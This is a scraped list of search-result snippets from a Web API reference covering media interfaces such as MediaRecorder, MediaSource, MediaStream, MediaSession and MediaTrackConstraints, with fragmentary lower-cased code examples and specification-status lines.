specifications specification status comment encrypted media extensionsthe definition of 'mediakeysystemaccess' in that specification.
... recommendation initial definition.
audioCapabilities - Web APIs
syntax var audiocapabilities[ {contenttype: 'contenttype', robustness:'robustness'}] = mediasystemconfiguration.audiocapabilities; specifications specification status comment encrypted media extensionsthe definition of 'audiocapabilities' in that specification.
... recommendation initial definition ...
distinctiveIdentifier - Web APIs
syntax var distinctiveidentifier = mediasystemconfiguration.distinctiveidentifier; specifications specification status comment encrypted media extensionsthe definition of 'distinctiveidentifier' in that specification.
... recommendation initial definition ...
persistentState - Web APIs
syntax var persistentstate = mediasystemconfiguration.persistentstate; specifications specification status comment encrypted media extensionsthe definition of 'persistentstate' in that specification.
... recommendation initial definition ...
videoCapabilities - Web APIs
syntax var videocapabilities[{contenttype: 'contenttype', robustness:'robustness'}] = mediasystemconfiguration.videocapabilities; specifications specification status comment encrypted media extensionsthe definition of 'videocapabilities' in that specification.
... recommendation initial definition ...
createSession() - Web APIs
syntax ​var mediakeysessionobject = mediakeys.createsession([mediakeysessiontype]); specifications specification status comment encrypted media extensionsthe definition of 'createsession()' in that specification.
... recommendation initial definition ...
setServerCertificate() - Web APIs
}); specifications specification status comment encrypted media extensionsthe definition of 'setservercertificate()' in that specification.
... recommendation initial definition ...
MediaKeys - Web APIs
WebAPIMediaKeys
examples //tbd specifications specification status comment encrypted media extensionsthe definition of 'mediakeys' in that specification.
... recommendation initial definition.
MediaMetadata.MediaMetadata() - Web APIs
{}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {}); navigator.mediasession.setactionhandler('previoustrack', function() {}); navigator.mediasession.setactionhandler('nexttrack', function() {}); } specifications specification status comment media session standardthe definition of 'mediametadata()' in that specification.
... draft initial definition.
MediaMetadata.album - Web APIs
specifications specification status comment media session standardthe definition of 'album' in that specification.
... draft initial definition.
MediaMetadata.artist - Web APIs
specifications specification status comment media session standardthe definition of 'artist' in that specification.
... draft initial definition.
MediaMetadata.artwork - Web APIs
specifications specification status comment media session standardthe definition of 'artwork' in that specification.
... draft initial definition.
MediaMetadata.title - Web APIs
specifications specification status comment media session standardthe definition of 'title' in that specification.
... draft initial definition.
MediaMetadata - Web APIs
specifications specification status comment media session standardthe definition of 'mediametadata' in that specification.
... draft initial definition.
MediaPositionState.playbackRate - Web APIs
specifications specification status comment media session standardthe definition of 'mediapositionstate.playbackrate' in that specification.
... draft initial definition.
MediaPositionState.position - Web APIs
=> { if (mymedia.isplaying) { navigator.mediasession.setpositionstate({ duration: mymedia.trackdurationinseconds, playbackrate: mymedia.playbackrate, position: mymedia.trackplaypositioninseconds }); } else { window.clearinterval(positioninterval); } }, 1000); specifications specification status comment media session standardthe definition of 'mediapositionstate.position' in that specification.
... draft initial definition.
MediaQueryList.addListener() - Web APIs
x wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'addlistener' in that specification.
... working draft initial definition ...
MediaQueryList.matches - Web APIs
istener("change", callback); } else { mq.addlistener(callback); } } addmqlistener(window.matchmedia("(orientation:landscape)"), event => { if (event.matches) { /* now in landscape orientation */ } else { /* now in portrait orientation */ } } ); specifications specification status comment css object model (cssom) view modulethe definition of 'matches' in that specification.
... working draft initial definition ...
MediaQueryList.media - Web APIs
css .mq-value { font: 18px arial, sans-serif; font-weight: bold; color: #88f; padding: 0.4em; border: 1px solid #dde; } result specifications specification status comment css object model (cssom) view modulethe definition of 'media' in that specification.
... working draft initial definition ...
MediaQueryList.onchange - Web APIs
if (e.matches) { /* the viewport is 600 pixels wide or less */ console.log('this is a narrow screen — less than 600px wide.') } else { /* the viewport is more than than 600 pixels wide */ console.log('this is a wide screen — more than 600px wide.') } }) specifications specification status comment css object model (cssom) view modulethe definition of 'onchange' in that specification.
... working draft initial definition ...
MediaQueryList.removeListener() - Web APIs
* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); // later on, when it is no longer needed mql.removelistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'removelistener' in that specification.
... working draft initial definition ...
MediaQueryList - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylist' in that specification.
... working draft initial definition ...
MediaQueryListEvent.matches - Web APIs
wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'matches' in that specification.
... working draft initial definition ...
MediaQueryListEvent.media - Web APIs
y.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } console.log(e.media); } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'media' in that specification.
... working draft initial definition ...
MediaQueryListEvent - Web APIs
x wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylistevent' in that specification.
... working draft initial definition ...
MediaQueryListListener - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylistlistener' in that specification.
... working draft initial definition ...
MediaRecorder.audioBitsPerSecond - Web APIs
specifications specification status comment mediastream recordingthe definition of 'audiobitspersecond' in that specification.
... working draft initial definition.
MediaRecorder.isTypeSupported - Web APIs
"maybe!" : "nope :(")); } specifications specification status comment mediastream recordingthe definition of 'istypesupported()' in that specification.
... working draft initial definition.
MediaRecorder.mimeType - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.mimetype' in that specification.
... working draft initial definition ...
MediaRecorder.ondataavailable - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.ondataavailable' in that specification.
... working draft initial definition ...
MediaRecorder.onerror - Web APIs
roblem occurred while trying " + "to record the video."); break; } }; /* this would be a good place to create a worker to handle writing the buffers to disk periodically */ recorder.start(100); /* 100ms time slices per buffer */ return recorder; } specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onerror' in that specification.
... working draft initial definition ...
MediaRecorder.onpause - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onpause' in that specification.
... working draft initial definition ...
MediaRecorder.onresume - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onresume' in that specification.
... working draft initial definition ...
MediaRecorder.onstart - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onstart' in that specification.
... working draft initial definition ...
MediaRecorder.onstop - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onstop' in that specification.
... working draft initial definition ...
MediaRecorder.pause() - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.pause()' in that specification.
... working draft initial definition ...
MediaRecorder.requestData() - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.requestdata()' in that specification.
... working draft initial definition ...
MediaRecorder.resume() - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.resume()' in that specification.
... working draft initial definition ...
MediaRecorder.start() - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.start()' in that specification.
... working draft initial definition ...
MediaRecorder.state - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.state' in that specification.
... working draft initial definition ...
MediaRecorder.stop() - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.stop()' in that specification.
... working draft initial definition ...
MediaRecorder.stream - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.stream' in that specification.
... working draft initial definition ...
MediaRecorder.videoBitsPerSecond - Web APIs
example // tbd specifications specification status comment mediastream recordingthe definition of 'videobitspersecond' in that specification.
... working draft initial definition.
MediaRecorderErrorEvent() - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecordererrorevent()' in that specification.
... working draft initial definition.
MediaRecorderErrorEvent.error - Web APIs
while trying to create the recorder; handle that */ } recorder.ondataavailable = function(event) { bufferlist.push(event.data); }; recorder.onerror = function(event) { let error = event.error; }; recorder.start(100); /* 100ms time slices per buffer */ return recorder; } specifications specification status comment mediastream recordingthe definition of 'mediarecordererrorevent.error' in that specification.
... working draft initial specification.
MediaRecorderErrorEvent - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecordererrorevent' in that specification.
... working draft initial definition.
MediaSession.metadata - Web APIs
{}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {}); navigator.mediasession.setactionhandler('previoustrack', function() {}); navigator.mediasession.setactionhandler('nexttrack', function() {}); } specifications specification status comment media session standardthe definition of 'mediasession.metadata' in that specification.
... draft initial definition.
MediaSession.playbackState - Web APIs
p3"; navigator.mediasession.setactionhandler('play', play); navigator.mediasession.setactionhandler('pause', pause); function play() { audio.play(); navigator.mediasession.playbackstate = "playing"; } function pause() { audio.pause(); navigator.mediasession.playbackstate = "paused"; } specifications specification status comment media session standardthe definition of 'playbackstate' in that specification.
... draft initial definition.
MediaSession.setActionHandler() - Web APIs
specifications specification status comment media session standardthe definition of 'media session action types' in that specification.
... draft initial definition.
MediaSession.setPositionState() - Web APIs
=> { if (mymedia.isplaying) { navigator.mediasession.setpositionstate({ duration: mymedia.trackdurationinseconds, playbackrate: mymedia.playbackrate, position: mymedia.trackplaypositioninseconds }); } else { window.clearinterval(positioninterval); } }, 1000); specifications specification status comment media session standardthe definition of 'mediasession.setpositionstate()' in that specification.
... draft initial definition.
MediaSession - Web APIs
p3"; navigator.mediasession.setactionhandler('play', play); navigator.mediasession.setactionhandler('pause', pause); function play() { audio.play(); navigator.mediasession.playbackstate = "playing"; } function pause() { audio.pause(); navigator.mediasession.playbackstate = "paused"; } specifications specification status comment media session standardthe definition of 'mediasession' in that specification.
... draft initial definition.
Media Session action types - Web APIs
specifications specification status comment media session standardthe definition of 'media session action types' in that specification.
... draft initial definition.
MediaSessionActionDetails.action - Web APIs
specifications specification status comment media session standardthe definition of 'mediasessionactiondetails.action' in that specification.
... draft initial definition.
MediaSessionActionDetails.fastSeek - Web APIs
specifications specification status comment media session standardthe definition of 'mediasessionactiondetails.fastseek' in that specification.
... draft initial definition.
MediaSessionActionDetails.seekOffset - Web APIs
specifications specification status comment media session standardthe definition of 'mediasessionactiondetails.seekoffset' in that specification.
... draft initial definition.
MediaSessionActionDetails.seekTime - Web APIs
specifications specification status comment media session standardthe definition of 'mediasessionactiondetails.seektime' in that specification.
... draft initial definition.
MediaSessionActionDetails - Web APIs
specifications specification status comment media session standardthe definition of 'media session action types' in that specification.
... draft initial definition.
MediaSettingsRange.max - Web APIs
specifications specification status comment mediastream image capturethe definition of 'max' in that specification.
... working draft initial definition.
MediaSettingsRange.min - Web APIs
specifications specification status comment mediastream image capturethe definition of 'min' in that specification.
... working draft initial definition.
MediaSettingsRange.step - Web APIs
specifications specification status comment mediastream image capturethe definition of 'step' in that specification.
... working draft initial definition.
MediaSettingsRange - Web APIs
ilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosettings.imagewidth; }) .catch(error => console.log('argh!', error.name || error)); specifications specification status comment mediastream image capturethe definition of 'mediasettingsrange' in that specification.
... working draft initial definition.
MediaSource.activeSourceBuffers - Web APIs
specifications specification status comment media source extensionsthe definition of 'activesourcebuffers' in that specification.
... recommendation initial definition.
MediaSource.addSourceBuffer() - Web APIs
mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'addsourcebuffer()' in that specification.
... recommendation initial definition.
MediaSource.clearLiveSeekableRange() - Web APIs
return value undefined specifications specification status comment media source extensionsthe definition of 'clearliveseekablerange()' in that specification.
... recommendation initial definition.
MediaSource.duration - Web APIs
specifications specification status comment media source extensionsthe definition of 'duration' in that specification.
... recommendation initial definition.
MediaSource.endOfStream() - Web APIs
mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'endofstream()' in that specification.
... recommendation initial definition.
MediaSource.isTypeSupported() - Web APIs
mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'istypesupported()' in that specification.
... recommendation initial definition.
MediaSource.readyState - Web APIs
mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'readystate' in that specification.
... recommendation initial definition.
MediaSource.removeSourceBuffer() - Web APIs
examples for (i = 0; i < 10; i++) { var sourcebuffer = mediasource.addsourcebuffer(mimecodec); } mediasource.removesourcebuffer(mediasource.sourcebuffers[0]); specifications specification status comment media source extensionsthe definition of 'removesourcebuffer()' in that specification.
... recommendation initial definition.
MediaSource.sourceBuffers - Web APIs
specifications specification status comment media source extensionsthe definition of 'sourcebuffers' in that specification.
... recommendation initial definition.
MediaSource - Web APIs
diasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; function fetchab (url, cb) { console.log(url); var xhr = new xmlhttprequest; xhr.open('get', url); xhr.responsetype = 'arraybuffer'; xhr.onload = function () { cb(xhr.response); }; xhr.send(); }; specifications specification status comment media source extensionsthe definition of 'mediasource' in that specification.
... recommendation initial definition.
active - Web APIs
var promise = navigator.mediadevices.getusermedia({ audio: true, video: true }); promise.then(function(stream) { var startbtn = document.queryselector('#startbtn'); startbtn.disabled = stream.active; };) specifications specification status comment media capture and streamsthe definition of 'active' in that specification.
... candidate recommendation initial definition.
MediaStream.addTrack() - Web APIs
return value undefined example specifications specification status comment media capture and streamsthe definition of 'addtrack()' in that specification.
... candidate recommendation initial specification.
MediaStream.clone() - Web APIs
WebAPIMediaStreamclone
specifications specification status comment media capture and streamsthe definition of 'mediastream.clone()' in that specification.
... candidate recommendation initial definition.
MediaStream.getAudioTracks() - Web APIs
navigator.mediadevices.getusermedia({audio: true, video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; // stop the audio stream after 5 seconds settimeout(() => { const tracks = mediastream.getaudiotracks() tracks[0].stop() }, 5000) }) specifications specification status comment media capture and streamsthe definition of 'getaudiotracks()' in that specification.
... candidate recommendation initial definition.
MediaStream.getTrackById() - Web APIs
stream.gettrackbyid("primary-audio-track").applyconstraints({ volume: 0.5 }); stream.gettrackbyid("commentary-track").enabled = true; specifications specification status comment media capture and streamsthe definition of 'gettrackbyid()' in that specification.
... candidate recommendation initial specification.
MediaStream.getTracks() - Web APIs
example navigator.mediadevices.getusermedia({audio: false, video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; // stop the stream after 5 seconds settimeout(() => { const tracks = mediastream.gettracks() tracks[0].stop() }, 5000) }) specifications specification status comment media capture and streamsthe definition of 'gettracks()' in that specification.
... candidate recommendation initial definition.
MediaStream.getVideoTracks() - Web APIs
var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) specifications specification status comment media capture and streamsthe definition of 'getvideotracks()' in that specification.
... candidate recommendation initial definition.
MediaStream.id - Web APIs
WebAPIMediaStreamid
syntax var id = mediastream.id; example var p = navigator.mediadevices.getusermedia({ audio: true, video: true }); p.then(function(stream) { console.log(stream.id); }) specifications specification status comment media capture and streamsthe definition of 'mediastream.id' in that specification.
... candidate recommendation initial definition.
MediaStream.onaddtrack - Web APIs
stream.onaddtrack = function(event) { let tracklist = document.getelementbyid("tracks"); let label = document.createelement("li"); label.innerhtml = event.track.kind + ": " + event.track.label; tracklist.appendchild(label); }; specifications specification status comment media capture and streamsthe definition of 'mediastream.onaddtrack' in that specification.
... candidate recommendation initial specification.
MediaStream.onremovetrack - Web APIs
stream.onremovetrack = function(event) { let tracklist = document.getelementbyid("tracks"); let label = document.createelement("li"); label.innerhtml = "removed: " + event.track.kind + ": " + event.track.label; tracklist.appendchild(label); }; specifications specification status comment media capture and streamsthe definition of 'mediastream.onremovetrack' in that specification.
... candidate recommendation initial specification.
MediaStreamConstraints.audio - Web APIs
result specifications specification status comment media capture and streamsthe definition of 'mediastreamconstraints.audio' in that specification.
... candidate recommendation initial specification.
MediaStreamConstraints.video - Web APIs
result specifications specification status comment media capture and streamsthe definition of 'mediastreamconstraints.video' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.clone() - Web APIs
specifications specification status comment media capture and streamsthe definition of 'clone()' in that specification.
... candidate recommendation initial definition.
MediaStreamTrack.enabled - Web APIs
specifications specification status comment media capture and streamsthe definition of 'enabled' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack: ended event - Web APIs
byid("status-icon"); statuselem.src = "/images/stopped-icon.png"; }) you can also set up the event handler using the mediastreamtrack.onended property: track.onended = function() { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; } specifications specification status comment media capture and streamsthe definition of 'ended' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.getCapabilities() - Web APIs
specifications specification status comment media capture and streamsthe definition of 'getcapabilities()' in that specification.
... candidate recommendation initial definition.
MediaStreamTrack.getSettings() - Web APIs
specifications specification status comment media capture and streamsthe definition of 'getsettings()' in that specification.
... candidate recommendation initial definition.
MediaStreamTrack.id - Web APIs
syntax const id = track.id specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.id' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.kind - Web APIs
specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.kind' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.label - Web APIs
syntax const label = track.label specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.label' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack: mute event - Web APIs
the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'mute' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.muted - Web APIs
let mutedcount = 0; tracklist.foreach((track) => { if (track.muted) { mutedcount += 1; } }); specifications specification status comment media capture and streamsthe definition of 'muted' in that specification.
... candidate recommendation initial definition.
MediaStreamTrack.onended - Web APIs
track.onended = function(event) { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; } specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.onended' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.onmute - Web APIs
mytrack.onmute = function(evt) { playstateicon.innerhtml = "&#1f507;"; }; specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.onmute' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.onunmute - Web APIs
mytrack.onunmute = function(evt) { playstateicon.innerhtml = "&#x1f508;"; }; specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.onunmute' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.readyState - Web APIs
specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.readystate' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.stop() - Web APIs
specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.stop()' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack: unmute event - Web APIs
the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'unmute' in that specification.
... candidate recommendation initial specification.
MediaStreamTrackEvent() - Web APIs
return value a new mediastreamtrackevent, initialized based on the provided options.
... specifications specification status comment media capture and streamsthe definition of 'mediastreamtrackevent()' in that specification.
Using the MediaStream Recording API - Web APIs
keeping the interface constrained to the viewport, regardless of device height, with calc() the calc() function is one of those useful little utility features that's cropped up in css that doesn't look like much initially, but soon starts to make you think "wow, why didn't we have this before?
... specifications specification status comment mediastream recording working draft initial definition ...
MediaTrackConstraints.autoGainControl - Web APIs
specifications specification status comment media capture and streamsthe definition of 'autogaincontrol' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.channelCount - Web APIs
specifications specification status comment media capture and streamsthe definition of 'channelcount' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.cursor - Web APIs
let displaymediaoptions = { cursor: { exact: "none" } }; specifications specification status comment screen capturethe definition of 'mediatrackconstraints.cursor' in that specification.
... unknown initial specification.
MediaTrackConstraints.deviceId - Web APIs
specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.displaySurface - Web APIs
tbd specifications specification status comment screen capturethe definition of 'mediatrackconstraints.displaysurface' in that specification.
... unknown initial specification.
MediaTrackConstraints.echoCancellation - Web APIs
specifications specification status comment media capture and streamsthe definition of 'echocancellation' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.facingMode - Web APIs
specifications specification status comment media capture and streamsthe definition of 'facingmode' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.frameRate - Web APIs
specifications specification status comment media capture and streamsthe definition of 'framerate' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.groupId - Web APIs
specifications specification status comment media capture and streamsthe definition of 'groupid' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.height - Web APIs
specifications specification status comment media capture and streamsthe definition of 'height' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.latency - Web APIs
specifications specification status comment media capture and streamsthe definition of 'latency' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.logicalSurface - Web APIs
specifications specification status comment screen capturethe definition of 'mediatrackconstraints.logicalsurface' in that specification.
... working draft initial specification.
MediaTrackConstraints.noiseSuppression - Web APIs
specifications specification status comment media capture and streamsthe definition of 'noisesuppression' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.sampleRate - Web APIs
specifications specification status comment media capture and streamsthe definition of 'samplerate' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.sampleSize - Web APIs
specifications specification status comment media capture and streamsthe definition of 'samplesize' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.width - Web APIs
specifications specification status comment media capture and streamsthe definition of 'width' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.autoGainControl - Web APIs
specifications specification status comment media capture and streamsthe definition of 'autogaincontrol' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.channelCount - Web APIs
specifications specification status comment media capture and streamsthe definition of 'channelcount' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.cursor - Web APIs
specifications specification status comment screen capturethe definition of 'mediatracksettings.cursor' in that specification.
... working draft initial definition ...
MediaTrackSettings.deviceId - Web APIs
specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.displaySurface - Web APIs
specifications specification status comment screen capturethe definition of 'mediatracksettings.displaysurface' in that specification.
... working draft initial definition ...
MediaTrackSettings.echoCancellation - Web APIs
specifications specification status comment media capture and streamsthe definition of 'echocancellation' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.facingMode - Web APIs
specifications specification status comment media capture and streamsthe definition of 'facingmode' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.frameRate - Web APIs
specifications specification status comment media capture and streamsthe definition of 'framerate' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.groupId - Web APIs
specifications specification status comment media capture and streamsthe definition of 'groupid' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.height - Web APIs
specifications specification status comment media capture and streamsthe definition of 'height' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.latency - Web APIs
specifications specification status comment media capture and streamsthe definition of 'latency' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.logicalSurface - Web APIs
specifications specification status comment screen capturethe definition of 'mediatracksettings.logicalsurface' in that specification.
... working draft initial definition ...
MediaTrackSettings.noiseSuppression - Web APIs
specifications specification status comment media capture and streamsthe definition of 'noisesuppression' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.sampleRate - Web APIs
specifications specification status comment media capture and streamsthe definition of 'samplerate' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.sampleSize - Web APIs
specifications specification status comment media capture and streamsthe definition of 'samplesize' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.width - Web APIs
specifications specification status comment media capture and streamsthe definition of 'width' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.aspectRatio - Web APIs
content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().aspectratio) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'aspectratio' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.autoGainControl - Web APIs
tent #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().autogaincontrol) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'autogaincontrol' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.channelCount - Web APIs
css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().channelcount) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'channelcount' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.cursor - Web APIs
{ displaysurface: "browser" }, audio: false; }; if (supportedconstraints.cursor) { displaymediaoptions.video.cursor = "always"; } try { videoelem.srcobject = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { /* handle the error */ } } specifications specification status comment screen capturethe definition of 'mediatracksupportedconstraints.cursor' in that specification.
... unknown initial definition ...
MediaTrackSupportedConstraints.deviceId - Web APIs
v> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().deviceid) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.displaySurface - Web APIs
= { video: { }, audio: false; }; if (supportedconstraints.displaysurface) { displaymediaoptions.video.displaysurface = "monitor"; } try { videoelem.srcobject = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { /* handle the error */ } } specifications specification status comment screen capturethe definition of 'mediatracksupportedconstraints.displaysurface' in that specification.
... working draft initial definition ...
MediaTrackSupportedConstraints.echoCancellation - Web APIs
content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().echocancellation) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'echocancellation' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.facingMode - Web APIs
ult"> </div> css #result { font: 14px "arial", sans-serif; } javascript let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().facingmode) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'facingmode' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.frameRate - Web APIs
specifications specification status comment media capture and streamsthe definition of 'framerate' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.groupId - Web APIs
iv> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().groupid) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'groupid' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.height - Web APIs
div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().height) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'height' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.latency - Web APIs
iv> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().latency) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'latency' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.logicalSurface - Web APIs
